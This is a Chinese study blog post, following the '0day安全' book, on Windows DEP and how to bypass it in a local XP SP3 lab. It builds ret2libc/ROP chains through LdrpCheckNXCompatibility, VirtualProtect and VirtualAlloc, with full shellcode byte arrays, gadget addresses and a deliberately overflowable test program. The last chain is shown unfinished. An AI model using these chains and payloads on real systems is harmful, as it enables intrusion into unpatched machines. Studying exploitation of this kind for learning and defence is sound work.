启程
今宵酒醒何处?杨柳岸,晓风残月。
之前接触过Linux上的数据不可执行,即NX
。现在来看一看Windows上的对应措施。
DEP机制的保护原理
DEP基本原理是将数据所在内存页标为不可执行,当溢出后程序尝试在数据页面执行命令时,CPU将抛出异常,从而转入异常处理。数据页包括默认的堆页、各种堆栈页和内存池页。
微软从XP SP2开始支持DEP。根据实现机制不同,分为Software DEP (SDEP)和Hardware-enforced DEP (HDEP)。
SDEP即SafeSEH,即软件模拟实现DEP。参考0day安全|11 亡羊补牢:SafeSEH中的SafeSEH检测流程可以发现,它会检查异常处理函数是否位于不可执行页上。
HDEP需要CPU支持。AMD称之为NX (No-Execute Page-Protection),Intel称之为XD (Execute Disable Bit),本质上两者是相同的。
操作系统通过设置内存页的NX/XD标记指明页不可执行。为此,需要在内存页表加入一个标识位(NX/XD),为0表示允许执行。
查看CPU是否支持硬件DEP的方法在0day安全|11 亡羊补牢:SafeSEH开头讲过。
上图说明CPU支持硬件DEP。
根据启动参数的不同(0day安全|11 亡羊补牢:SafeSEH开头有修改启动参数的讲解)硬件DEP工作状态分为四种:
- Optin:仅将DEP应用于Windows系统组件和服务,对其他程序不予保护。但是用户可以通过应用程序兼容性工具(ACT)为选定的程序启用DEP,在Vista下经过
/NXcompat
选项编译的程序将自动应用DEP。这种模式可以被应用程序动态关闭,它多用于普通用户版操作系统 - Optout:为除了选定程序(即上图中的第二个选项下面的列表)外的所有程序和服务启用DEP。这种模式可以被应用程序动态关闭,它多用于服务器版操作系统
- AlwaysOn:对所有进程启用DEP,且不可被关闭。目前DEP只有在64位操作系统上才工作于此模式
- AlwaysOff:对所有进程都禁用DEP,且不可以动态开启。这种模式只在特定场合使用
在VS 2005后,可以在编译程序时使用/NXcompat
选项(默认启用):
/NXcompat
的细节是:
编译后的二进制程序的PE头中被设置IMAGE_DLLCHARACTERISTICS_NX_COMPAT
标识,具体为下图中IMAGE_OPTIONAL_HEADER
结构体中右下方蓝色位置处:
DEP的局限性在于:
- 较老的CPU不支持DEP
- 由于兼容性原因,Windows不能对所有进程开启DEP,如一些第三方DLL。另外使用ATL 7.1 (即Active Template Library)及以前版本的程序需要在数据页上执行代码
- 另外,
/NXCOMPAT
选项和IMAGE_DLLCHARACTERISTICS_NX_COMPAT
只对Vista以上系统有效,在更早的系统中,它们会被忽略 - 最后,当DEP工作于Optin和Optout时,它可以被动态关闭、开启。操作系统提供了某些API来达到这一目的,而早期操作系统对这些API没有限制,任何进程都可以调用
下面我们来突破DEP。
攻击未启用DEP的程序
DEP保护对象是进程级的,当某个进程的加载模块中只要有一个不支持DEP,这个进程就不能贸然开启DEP。即使在Win7上也有很多程序没有启用DEP,如下图:
这种情况就是基本的溢出攻击,不再详述。
利用Ret2Libc挑战DEP
Linux上也有ret2libc对抗NX的技术。本节来看一下Windows上该技术的具体实现。
作者一开始的描述让我以为他要介绍ROP,后来看,不是这样的。最初的思路是为shellcode中的每一条指令在可执行页上找到对应的替代指令,跳转到那里执行完后再ret回shellcode中的下一个地址,这种情况下的shellcode其实就是一个大的指令地址表。这样做有一些难于实现的部分:指令地址可能有\x00
,同时栈帧较难布置。
这里的ret2libc流程大致如下:
于是引出了三种较为有效的绕过技术:
- 通过跳转到ZwSetInformationProcess函数将DEP关闭后再转入shellcode执行
- 通过跳转到VirtualProtect函数将shellcode所在内存页设置为可执行,再转入shellcode执行
- 通过跳转到VirtualAlloc开辟一段可执行的内存空间,将shellcode复制过去执行
这里有一个疑问:像Linux上的那种栈上压参数sh
字符串然后跳转到system
函数这样的操作,在Win上可不可以呢?比如压参数cmd.exe
?(unsolved)
下面开始本地实验。以下实验都在关闭GS和SafeSEH、DEP设置为Optout、禁用优化、release版本、VC++6.0这些条件下进行。
Ret2Libc实战之利用ZwSetInformationProcess
一个进程的DEP标识保存在KPROCESS结构中的_KEXECUTE_OPTIONS_上,这个标识可以通过ZwQueryInformationProcess和ZwSetInformationProcess进行查询、修改。有些资料中将它们的前缀
Zw
替换成了Nt
,在Ntdll.dll中它们是完全一样的。
KPROCESS
结构如下:
typedef struct _KPROCESS
{
DISPATCHER_HEADER Header;
LIST_ENTRY ProfileListHead;
ULONG DirectoryTableBase;
ULONG Unused0;
KGDTENTRY LdtDescriptor;
KIDTENTRY Int21Descriptor;
WORD IopmOffset;
UCHAR Iopl;
UCHAR Unused;
ULONG ActiveProcessors;
ULONG KernelTime;
ULONG UserTime;
LIST_ENTRY ReadyListHead;
SINGLE_LIST_ENTRY SwapListEntry;
PVOID VdmTrapcHandler;
LIST_ENTRY ThreadListHead;
ULONG ProcessLock;
ULONG Affinity;
union
{
ULONG AutoAlignment: 1;
ULONG DisableBoost: 1;
ULONG DisableQuantum: 1;
ULONG ReservedFlags: 29;
LONG ProcessFlags;
};
CHAR BasePriority;
CHAR QuantumReset;
UCHAR State;
UCHAR ThreadSeed;
UCHAR PowerState;
UCHAR IdealNode;
UCHAR Visited;
union
{
KEXECUTE_OPTIONS Flags;
UCHAR ExecuteOptions;
};
ULONG StackCount;
LIST_ENTRY ProcessListEntry;
UINT64 CycleTime;
} KPROCESS, *PKPROCESS;
_KEXECUTE_OPTIONS
结构如下:
Pos0 ExecuteDisable :1bit // 进程DEP开启则置1
Pos1 ExecuteEnable :1bit // 进程DEP关闭则置1
Pos2 DisableThunkEmulation :1bit // 为了兼容ATL
Pos3 Permanent :1bit // 置1后这些标志不能再被修改
Pos4 ExecuteDispatchEnable :1bit
Pos5 ImageDispatchEnable :1bit
Pos6 Spare :2bit
如上,我们只需要将_KEXECUTE_OPTIONS
设置为0x02
即可关闭DEP。
再看ZwSetInformationProcess
函数:
ZwSetInformationProcess(
IN HANDLE ProcessHandle,
IN PROCESS_INFORMATION_CLASS ProcessInformationClass,
IN PVOID ProcessInformation,
IN ULONG ProcessInformationLength
);
第一个参数进程句柄设置为-1表示当前进程,第三个参数用来设置_KEXECUTE_OPTIONS
,第四个参数为第三个参数的长度。
Bypassing Windows Hardware-enforced Data Execution Prevention一文给出了关闭DEP的参数:
ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;
NtSetInformationProcess(
NtCurrentProcess(), // -1
ProcessExecuteFlags, // 0x22(ProcessExecuteFlags)
&ExecuteFlags, // pointer to 0x02
sizeof(ExecuteFlags)); // 0x04
由于上述参数包含0x00
,所以我们无法自己构造栈帧。幸好,系统中存在一处关闭DEP的调用。微软为了兼容性,若一个进程的Permanent位未设置,当它加载DLL时,系统会对DLL进行DEP兼容性检查,当存在兼容性问题时进程的DEP将被关闭。所以有一个函数LdrpCheckNXCompatibility
,当符合以下条件之一时进程DEP将被关闭:
- DLL受SafeDisc版权保护系统保护
- DLL包含
.aspcak/.pcle/.sforce
等字节 - Vista下当DLL包含在注册表
HKEY_LOCAL_MACHINE\SOFTWARE \Microsoft\ Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions
键下边标识出不需要启动DEP的模块时
只要能模拟出其中一种情况,DEP将被关闭。下面我们尝试第一个条件:
首先看一下XP SP3下LdrpCheckNXCompatibility
关闭DEP的流程:
在实验开始前,我想说说自己做完这个实验后的感受:整个漏洞利用过程真的太精致了!它仿佛一件艺术品。多一分少一分都不行,看似绝境却能绝境逢生,看似不起眼的安排在后面会起到大用处,看似巧合其中却隐藏着必然。
下面请欣赏exploit的表演。
测试代码:
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\x90..."
;
void test()
{
char tt[176];
strcpy(tt,shellcode);
}
int main()
{
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
test();
return 0;
}
溢出点很明显。思路也很明确:首先将控制流劫持到函数LdrpCheckNXCompatibility
关闭DEP,然后返回到shellcode执行。
代码中加载shell32.dll
是为了引入后面调整EBP需要用到的gadget。后面会讲到。
在本地环境中通过OllyFindAddr
寻找上图中红色部分的指令段地址,发现也是0x7C93CD24
:
那么,我们可以在shellcode中先跳转到一个将al
设置为1的指令处,之后再转到0x7C93CD24
执行。
这段指令结束后有一个ret 4
,从而为继续转入shellcode执行提供了可能性。
插件也顺带找到了将al
变为1并ret的gadget,例如:
很方便!
至此,我们的shellcode如下:
char shellcode[]=
// 168 messagebox
...
// 12 nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// 4 mov eax, 1, ret
"\x52\xE2\x92\x7C"
// 4 turn off DEP
"\x24\xCD\x93\x7C"
我们在关闭DEP流程的最后retn 0x4
处下断点:
然后运行,却出现了异常:
这是因为在关闭DEP的流程中有一处je 7C95F70E
,而那个地方的指令是向EBP - 4
处写入数据(这里写入的数据很重要,是后面调用ZwSetInformationProcess
关闭DEP的关键参数):
然而EBP已经被我们覆盖为0x90909090
,这时的EBP - 4
是不可以写入的。
所以在转入0x7C93CD24
前需要把EBP指向一个可以写入的位置。
从前面的OllyFindAddr
结果中的Step3
可以找到类似于push esp; pop ebp; ret
的指令段:
需要注意溢出后的寄存器状态:
只有ESP指向的位置是可写入的。所以我们挑选一个push esp
的,这里选择0x5d1d8b85
处的gadget。
此时shellcode变为:
char shellcode[]=
// 168 messagebox
...
// 12 nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// 4 mov eax, 1, ret
"\x52\xE2\x92\x7C"
// 4 modify ebp
"\x85\x8b\x1d\x5d"
// 4 turn off DEP
"\x24\xCD\x93\x7C"
编译后用OD加载,运行到即将调用ZwSetInformationProcess
时:
发现栈上ebp - 4
处的参数被覆盖为0x22
(上图中左下方数据区紫色部分)。
幸好,根据开头讲到的_KEXECUTE_OPTIONS
结构得知DEP只和其结构中前4位有关,而0x22
与0x2
的低四位是一样的。所以0x22
也可以用于关闭DEP。
继续调试到LdrpCheckNXCompatibility
返回处,没有意外,DEP成功关闭。但是我们失去了程序的控制权:
可以看到,在返回时ESP指向的地方是0x00000004
,也就是说,在前面调用ZwSetInformationProcess
时压参数压入的0x4
刚好被压在后面的返回地址处。我们之前无论在这个地方放什么返回地址,都会被覆盖掉。究其原因,是我们在前面调整ebp到可写位置时,将其调整为与esp一致,这就导致后续的压栈出栈操作都在ebp附近进行,最后LdrpCheckNXCompatibility
返回时的leave
又把esp调整回ebp。
一般来说,当ESP小于EBP时,防止入栈破坏当前栈内内容的调整方法不外乎减小ESP和增大EBP,由于本次实验中我们的shellcode位于内存低址,所以减小ESP可能会破坏shellcode,而增大EBP的指令在本次实验中竟然找不到。一个变通的方法是增大ESP到一个安全的位置,让EBP与ESP之间的空间足够大。
我们可以使用带有偏移量的RETN指令来达到增大ESP的目的。
接着作者用前面提到的插件搜索了POP RETN+N
相关指令,他的搜索结果如下:
在搜索结果中选取指令时只有一个条件:不能对ESP和EBP有直接操作。否则我们会失去对程序的控制权。
我这里却搜不到任何结果!但是幸好我的环境和他的比较相似,他选择的地址在我这里也同样有效:
后来,我读别人的文章时想到,我何必一定要搜索带pop
的?反正后边也用不到pop
,那么直接在搜索时将pop
的数量设置为0就好了。这样一来,搜索出了很多gadget:
此时shellcode如下:
char shellcode[]=
// 168 messagebox
...
// 12 nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// 4 mov eax, 1, ret
"\x52\xE2\x92\x7C"
// 4 modify ebp
"\x85\x8b\x1d\x5d"
// 4 add esp
"\x19\x4a\x97\x7c"
// 4 nop
"\x90\x90\x90\x90"
// 4 turn off DEP
"\x24\xCD\x93\x7C"
注意其中的4个nop,这是由于modify ebp
的返回指令为retn 4
,其导致ESP在返回后多加4,所以我们也要把关闭DEP的指针后移。
接着我们重新调试,运行到关闭DEP返回前:
可以发现我们布置的4个nop刚好是函数将要返回的地址所在处,且没有被覆盖掉。我们考虑把这里替换为一条jmp esp
跳板,然后在关闭DEP的4个字节后面紧跟着一个长跳指令(再次提醒,关闭DEP部分的返回是retn 4
,所以在jmp esp
后ESP会多加4,从而越过关闭DEP指针,直接跳到后面的长跳指令上)。
跳板有一大堆:
可以计算出shellcode起始位置距长跳指令起始位置有200字节,而长跳指令长5个字节,所以长跳指令要往前跳205个字节。
最终shellcode:
char shellcode[]=
// 168 messagebox
"\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
"\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
"\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
"\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
"\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
"\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
"\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
"\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
"\x53\x68\x2d\x6a\x6f\x62\x68\x67\x6f\x6f\x64\x8b\xc4\x53\x50\x50"
"\x53\xff\x57\xfc\x53\xff\x57\xf8"
// 12 nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// 4 mov eax, 1, ret
"\x52\xE2\x92\x7C"
// 4 modify ebp
"\x85\x8b\x1d\x5d"
// 4 add esp
"\x19\x4a\x97\x7c"
//"\x90\x90\x90\x90"
// 4 jmp esp
"\xb4\xc1\xc5\x7d"
// 4 turn off DEP
"\x24\xCD\x93\x7C"
// 5 long jmp
"\xe9\x33\xff\xff\xff"
// 3 nop
"\x90\x90\x90"
;
下图是整个漏洞利用过程的说明:
上方的ebp
代表在set ebp
后ebp寄存器指向的位置。正因如此,后面关闭DEP后有一个leave
指令(左下方最下面的截图),这个指令才能够通过mov esp, ebp; pop ebp
来将esp
恢复到我们的jmp ESP
跳板处。
另外需要注意的是,其中第三步完成后与第四步之间隔了一个ptr jmp ESP
,这正是由于左下方第二个截图中retn 0x4
使得返回后esp被多加4,这时add esp
的retn 0x28
在返回时就会直接跳过ptr jmp ESP
,返回到关闭DEP的指针那里。
当然,我们可以看到在左下方最后的截图中leave
后面也是retn 0x4
,这里同理,esp被多加了4,所以才能在jmp esp
后直接转去长跳指令执行。
测试:
由于我们的shellcode中并未使用任何绝对的运行时地址,如栈上缓冲区的首地址等,而所有的库函数加载地址是一致的,所以同样的shellcode既可以在OD中生效,也可以通过直接运行程序生效:
直接:
OD加载:
在Windows 2003 SP2以后对
LdrpCheckNXCompatibility
进行了少许修改,对我们影响最大的是该函数在执行过程中会对ESI指向的内存附近进行操作。所以要保证ESI指向可写位置。
调整方法与调整EBP类似,采用push esp; pop esi; retn
。可以借助前述插件搜索相关gadget。如果不好找,可以采用如下方式变通:
- 找到
pop eax retn
指令,转入执行 - 找到
pop esi retn
指令,保证上面的指令执行时本段指令地址位于栈顶,从而在上面的指令执行后,本段指令地址被放入eax - 找到
push esp jmp eax
转入执行
shellcode后半部分大致如下:
具体细节不再展开。
Ret2Libc实战之利用VirtualProtect
某些程序本身就需要偶尔从堆栈中取指令。为了兼容性,微软提供了修改内存属性的函数VirtualProtect
,其位于kernel32.dll
中。函数原型如下:
BOOL WINAPI VirtualProtect(
_In_ LPVOID lpAddress, // 要修改属性的内存起始地址(shellcode起始地址)
_In_ SIZE_T dwSize, // 内存大小(比shellcode长度大就好)
_In_ DWORD flNewProtect, // 新的属性值,设置为PAGE_EXECUTE_READWRITE(0x40)时即可执行
_Out_ PDWORD lpflOldProtect // 旧属性的保存地址(需要一个可写地址)
);
// 成功执行则返回非0,否则返回0
我们的思路就是在栈上构造这个函数需要的参数对,然后调用它使得shellcode可执行,然后转入shellcode执行。
需要注意的是,参数中包含\x00
,所以这种攻击方式对那些尾零截断的函数无效。本次我们将上节实验的strcpy
替换为memcpy
。
测试代码:
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\x90..."
;
void test()
{
char tt[176];
memcpy(tt,shellcode, 450);
}
int main()
{
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
test();
return 0;
}
在做上一个实验时,我惊叹于那种exploit操作的精密。然而和本节实验相比,还是小巫见大巫了。不多说,欣赏吧。
书上作者使用的环境是2003,所以我们必须自己确定XP SP3上的VirtualProtect函数地址。参考0day安全DEP绕过实验(上),可以在VS2008命令提示符中用如下方法查询:
dumpbin /exports C:\Windows\System32\kernel32.dll
加上基址后在OD中定位:
为了不影响EBP和ESP,我们未来调用这个函数时直接跳转到上图中选中部分的地址就好。我们也可以看到,这个函数其实只是个wrapper,它真正调用的是Ex
后缀的那个,当然,这是题外话。
从上图中我们也可以看出该函数对参数的操作:都是基于EBP
去定位的。其中ebp + 0x10
处放置0x40
,ebp + 0xc
处我们放一个0xff
,大小够用就好。这两个都是可以直接写在shellcode里的。而另外两个参数则需要动态确定。我们需要保证的是:
- address应该是栈上我们可以控制的地址
- oldprotect参数应该是一个可写的地址
上面这两个问题正是此次构造shellcode的精华所在。
解决address
由于EBP在溢出过程中被破坏,我们首先要修复EBP,方法同上一节,利用push esp; pop ebp; ret
。
此时shellcode如下:
char shellcode[]=
// 180 nop
...
// 4 modify ebp
"\x85\x8b\x1d\x5d"
编译后调试。到了下图中这个地方:
那么一句retn 4
就会让ESP加8,也就是比EBP大8。如果我们能够在返回后把ESP指向的地方(即ebp+8
)放一个我们能够控制的地址作为address参数该多好!我们采用上节最后提到的技巧:再把esp加4(借助一条retn
就好),让它比ebp大12,然后借助push esp jmp eax
把此时的esp作为address参数压到栈上。
那么怎么找push esp jmp eax
呢?先汇编转机器码,然后利用前述插件自定义搜索:
OK。找到push esp jmp eax
后,我们布局此时的shellcode:
char shellcode[]=
// 180 nop
...
// 4 modify ebp
"\x85\x8b\x1d\x5d"
// 4 retn
"\x57\xe2\x92\x7c"
// 4 nop
"\x90\x90\x90\x90"
// 4 push esp jmp eax
"\xc6\xc6\xeb\x77"
编译后调试:
没有问题。此时可以看到,在ebp+8
的地方是0x0012FEB4
,正是不远处的栈地址。
解决oldprotect
如法炮制,如果我们能够让ESP指向ebp+0x18
,那么再用一次push esp jmp eax
就可以把oldprotect参数放在ebp+0x14
了(毕竟,栈总是可写的)。此时ESP指针比EBP大8,那么我们需要让ESP增大0x18 - 0x8 = 0x10
。这里我们采用ROP中常用的gadget:pop pop pop ret
(后文称PPPR)。目前即将执行的指令是jmp eax
,那么我们可以找到一个PPPR,然后把其地址预先放入eax即可。PPPR用前述插件可以搜索到很多,我们挑选一个在可执行页上的、不影响ESP、EBP、EAX三个寄存器的gadget就好。找到后如何把它的地址预先放入eax?
依然是上节最后的技巧:采用pop eax retn
即可(需要保证pop eax
时PPPR地址在栈顶)。这样的gadget也很好找。
注意:一开始我在找pop eax retn
时找到了shell.dll
的.data
区的gadget,然而整个进程都有DEP,所以一调试就会蹦出异常。由于DEP的存在,我们的gadget必须从可执行页寻找,否则这些gadget也无法执行。同理,后面的jmp esp
选择也是一样。在上一节实验中,由于我们后来已经完全关闭了整个进程的DEP,所以跳板的位置无所谓。而这里我们仅仅使得栈上的一段区域可执行,别的模块的数据区域依然是不可执行的。
后面在找jmp esp
时遇到了一个小问题:我想在别的模块的代码段找jmp esp
,可是由于shell.dll
的.data
段等不可执行段的jmp esp
太多了,以至于OD的日志只显示得出这些gadget,所以我没法借助前述插件找到可用的jmp esp
。于是尝试自己在OD中ctrl + b
搜索jmp esp
的二进制。为了提高准确率,我先在反汇编窗口转到shell.dll
代码段的开头,然后搜索:
这样很容易就找到了。
言归正传。现在我们的shellcode如下:
char shellcode[]=
// 180 nop
...
// 4 pop eax retn
"\x26\xb8\x6e\x7d"
// 4 pop edi pop esi pop ebx retn
"\x64\xa2\x5d\x7d"
// 4 modify ebp
"\x85\x8b\x1d\x5d"
// 4 retn
"\x57\xe2\x92\x7c"
// 4 nop
"\x90\x90\x90\x90"
// 4 push esp jmp eax
"\xc6\xc6\xeb\x77"
我们在其后紧跟上ebp + 0xC
的Size和ebp + 0x10
的NewProtect两个固定参数,然后是一个push esp jmp eax
把oldprotect参数放在ebp+0x14
。由于eax没有变,所以jmp后又是一遍PPPR。此时修改内存属性的参数已经布置完毕,这个最后的retn我们让它跳到期待已久的VirtualProtect函数中去。此时shellcode如下:
char shellcode[]=
// 180 nop
...
// 4 pop eax retn
"\x26\xb8\x6e\x7d"
// 4 pop edi pop esi pop ebx retn
"\x64\xa2\x5d\x7d"
// 4 modify ebp
"\x85\x8b\x1d\x5d"
// 4 retn
"\x57\xe2\x92\x7c"
// 4 nop
"\x90\x90\x90\x90"
// 4 push esp jmp eax
"\xc6\xc6\xeb\x77"
// 4 argument for VirtualProtect: Size
"\xFF\x00\x00\x00"
// 4 argument for VirtualProtect: NewProtect
"\x40\x00\x00\x00"
// 4 push esp jmp eax
"\xc6\xc6\xeb\x77"
// 8 nop
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
// 4 change attribute of mem
"\xd9\x1a\x80\x7c"
编译并调试:
完美!再往后,就是进入到VirtualProtect函数执行。我们看一下进入这个函数后它的操作(注意看右下方栈区):
注意,VirtualProtect
的最后是pop ebp retn 0x10
。因此,我们最后的思路是:先放4个nop抵消pop ebp
的影响,然后放一个jmp esp
的跳板。接着放16或20个nop去抵消retn 0x10
造成的影响,再后面放弹窗shellcode。最终shellcode如下:
char shellcode[]=
// 180 nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
// 4 pop eax retn
"\x26\xb8\x6e\x7d"
// 4 pop edi pop esi pop ebx retn
"\x64\xa2\x5d\x7d"
// 4 modify ebp
"\x85\x8b\x1d\x5d"
// 4 retn
"\x57\xe2\x92\x7c"
// 4 nop
"\x90\x90\x90\x90"
// 4 push esp jmp eax
"\xc6\xc6\xeb\x77"
// 4 argument for VirtualProtect: Size
"\xFF\x00\x00\x00"
// 4 argument for VirtualProtect: NewProtect
"\x40\x00\x00\x00"
// 4 push esp jmp eax
"\xc6\xc6\xeb\x77"
// 8 nop
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
// 4 change attribute of mem
"\xd9\x1a\x80\x7c"
// 4 nop
"\x90\x90\x90\x90"
// 4 jmp esp
"\xd7\x30\x5a\x7d"
// 20 nop
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
// 168 messagebox
"\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
"\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
"\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
"\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
"\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
"\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
"\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
"\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
"\x53\x68\x2d\x6a\x6f\x62\x68\x67\x6f\x6f\x64\x8b\xc4\x53\x50\x50"
"\x53\xff\x57\xfc\x53\xff\x57\xf8"
;
下图是整个漏洞利用过程的示意图:
下图是转入VirtualProtect前的栈上示意图:
测试:
Ret2Libc实战之利用VirtualAlloc
除了VirtualProtect,微软还提供了VirtualAlloc去解决DEP对特殊程序的影响。
其原型为:
LPVOID WINAPI VirtualAlloc(
_In_opt_ LPVOID lpAddress, // 申请的地址,
// 为NULL则系统自动分配并按64KB向上取整
_In_ SIZE_T dwSize, // 申请大小
_In_ DWORD flAllocationType, // 申请类型
_In_ DWORD flProtect // 设置读写可执行权限
);
// 成功则返回申请到的内存其实地址,否则返回NULL
我们的利用思路也很明确:先用VirtualAlloc申请一段可执行空间,然后用memcpy将shellcode复制过去,执行。
测试代码:
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\x90..."
;
void test()
{
char tt[176];
memcpy(tt,shellcode, 450);
}
int main()
{
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
test();
return 0;
}
利用上一节的方法,我们找到VirtualAlloc的地址:
可以看到它的参数调用方式与VirtualProtect一样,且它的参数不需要动态确定,可以直接写在shellcode中。所以,我们直接跳转到0x7C809AF4
去执行Ex
函数,不要前边的部分了。
首先明确一下我们各参数的值:
lpAddress = 0x00030000; // 只要选择一个未被占用的地址即可
dwSize = 0xFF; // 够用
flAllocationType = 0x00001000; // 参考MSDN
flProtect = 0x00000040; // 可读可写可执行,参考MSDN
由于EBP被溢出破坏,所以一开始还是修复EBP。目前shellcode如下:
char shellcode[]=
// 180 nop
...
// 4 modify ebp
"\x85\x8b\x1d\x5d"
// 4 call VirtualAllocEx
"\xf4\x9a\x80\x7c"
// 4 nop
"\x90\x90\x90\x90"
// 4 -1 (current process)
"\xff\xff\xff\xff"
// 4 lpAddress
"\x00\x00\x03\x00"
// 4 dwSize
"\xff\x00\x00\x00"
// 4 flAllocationType
"\x00\x10\x00\x00"
// 4 flProtect
"\x40\x00\x00\x00"
;
编译调试,成功申请到内存(注意下图右侧寄存器EAX正是0x00030000
):
我们也可以在OD中查看内存映射:
是可执行的!
接下来就是memcpy。它位于ntdll.dll
中,我们看一下:
void *memcpy(
void *dest,
const void *src,
size_t count
);
该函数的返回处离起始部分稍微有些远:
明确一下各参数:目的地址和复制长度都是固定的,可以直接写死在shellcode中,对于源地址,我们可以采用push esp jmp eax
技巧去填充这个参数。至于jmp eax
,我们需要到后面才能确定eax
应该放什么gadget的地址。
需要注意的是,在成功申请内存后,EBP被设置为0,而我们后面依然需要用到EBP,所以要再次修复EBP;另外,要用适当的nop去抵消VirtualAlloc返回时的pop ebp retn 0x10
影响。
此时shellcode如下:
char shellcode[]=
// 180 nop
...
// 4 modify ebp
"\x85\x8b\x1d\x5d"
// 4 call VirtualAllocEx
"\xf4\x9a\x80\x7c"
// 4 nop
"\x90\x90\x90\x90"
// 4 -1 (current process)
"\xff\xff\xff\xff"
// 4 lpAddress
"\x00\x00\x03\x00"
// 4 dwSize
"\xff\x00\x00\x00"
// 4 flAllocationType
"\x00\x10\x00\x00"
// 4 flProtect
"\x40\x00\x00\x00"
// 4 nop
"\x90\x90\x90\x90"
// 4 pop eax retn
"\x26\xb8\x6e\x7d"
// 16 nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// 4 nop (eax point to)
"\x90\x90\x90\x90"
// 4 modify ebp
"\x85\x8b\x1d\x5d"
我们知道,在modify ebp
返回后esp比ebp大8,而memcpy需要源地址参数位于ebp + 0xc
的位置。我们希望借助push esp jmp eax
去填src,就需要esp = ebp + 0x10
。也就是说在modify ebp
后还需要一个pop retn
来调整esp。
另外,memcpy需要的距离最远的参数是size,为ebp + 0x10
,那么我们希望能够在紧接着的位置ebp + 0x14
就转入memcpy执行。结合这些信息,我们确定之前在pop eax retn
时栈顶应该放着一个pop pop retn
。此时shellcode如下:
char shellcode[]=
// 180 nop
...
"\x90\x90\x90\x90"
// 4 modify ebp
"\x85\x8b\x1d\x5d"
// 4 call VirtualAllocEx
"\xf4\x9a\x80\x7c"
// 4 nop
"\x90\x90\x90\x90"
// 4 -1 (current process)
"\xff\xff\xff\xff"
// 4 lpAddress
"\x00\x00\x03\x00"
// 4 dwSize
"\xff\x00\x00\x00"
// 4 flAllocationType
"\x00\x10\x00\x00"
// 4 flProtect
"\x40\x00\x00\x00"
// 4 nop
"\x90\x90\x90\x90"
// 4 pop eax retn
"\x26\xb8\x6e\x7d"
// 16 nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// 4 pop ecx pop ecx retn
"\xf4\x1e\xbf\x77"
// 4 modify ebp
"\x85\x8b\x1d\x5d"
// 4 pop ecx retn
"\xa0\x6f\x5f\x7d" // <-- ebp
// 4 nop
"\x90\x90\x90\x90"
// 4 *dest
